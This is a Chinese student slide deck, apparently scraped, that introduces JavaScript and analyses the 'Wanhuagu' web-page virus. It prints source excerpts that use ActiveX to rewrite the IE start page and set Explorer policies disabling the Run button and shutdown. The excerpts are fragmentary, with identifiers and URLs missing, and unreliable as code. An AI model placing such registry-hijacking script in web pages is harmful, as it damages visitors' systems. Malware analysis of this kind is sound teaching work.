文档介绍：网页病毒小组成员:张曙天( 20105313 ) 谢宏达( 20105320 ) 李一奇( 20105311 ) 葛育辰( 20105335 ) 典型网页病毒分析一?“万花谷”病毒的特点二?“万花谷”病毒源码分析三?“万花谷”病毒的清理方式 Javascript 简介 JavaScript 是一种基于对象和事件驱动并具有相对安全性的客户端脚本语言。同时也是一种广泛用于客户端 Web 开发的脚本语言,常用来给 HTML 网页添加动态功能,比如响应用户的各种操作。 Javascript 简介 JavaScript 程序是由若干语句组成的,语句是编写程序的指令。 JavaScript 提供了完整的基本编程语句,它们是: 赋值语句、 switch 选择语句、 while 循环语句、 for 循环语句、 for each 循环语句、 do...while 循环语句、 break 循环中止语句、 continue 循环中断语句、 with 语句、 try … catch 语句、 if语句( if..else , if… else if …)。 Javascript 简介一般的函数都是以下格式: function myFunction(params){ //执行的语句}函数表达式: var myFunction=function(params){ //执行的语句} var myFunction = function(){ //执行的语句} myFunction();// 调用函数匿名函数,它常作为参数在其他函数间传递: ('load',function(){ //执行的语句},false); (2)典型的网页病毒分析(一) ——“万花谷”病毒的特点( 1) 曾经在互连网上散发过一个美丽诱人的网址“万花谷”,这实际是一个恶意“陷阱”,有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,这是有人利用 Java 最新技术进行破坏的一个恶意网址。本病毒是在页面中嵌入了恶意的 JavaScript 代码它最初出现在 . 个人网站上,随后其他一些个人主页也模仿或被感染了该病毒代码。(2)典型的网页病毒分析(一) ——“万花谷”病毒的特点( 2) 其破坏特性如下: (1) 用户不能正常使用 DOS 功能程序; (2) 用户不能正常退出 WINDOWS ; (3) 用户无法修改或访问注册表。(4) 将和快捷方式“万花谷”。 9(2)典型的网页病毒分析(二) ——“万花谷”病毒源码分析 ("<APPLET HEIGHT=0 WIDTH=0 .></APPLET>"); function f(){ Try { //ActiveX initialization a1=[0]; ( “{F935DC22-1CF0-11D0-ADB9- 00C04FD58A0B} ”);// HKEY_CLASSES_ROOT\CLSID 系统动态链接 (); Shl = (); 10 (2)典型的网页病毒分析(二) ——“万花谷”病毒源码分析 try { if (documents .("Chg") == -1) { //以下内容是对注册表进行修改 ("HKCU\\Software\\Microsoft\\ Explorer\\Main\\Start Page","http://com. /"); var expdate = new Date((new Date()).getTime() + (1)); ="Chg=general; expires=" + () + "; path=/;" //设置 IE 主页 ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\N oRun", 01, "REG_BINARY"); //消除 RUN 按纽 ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\N oClose", 01, "REG_BINARY"); /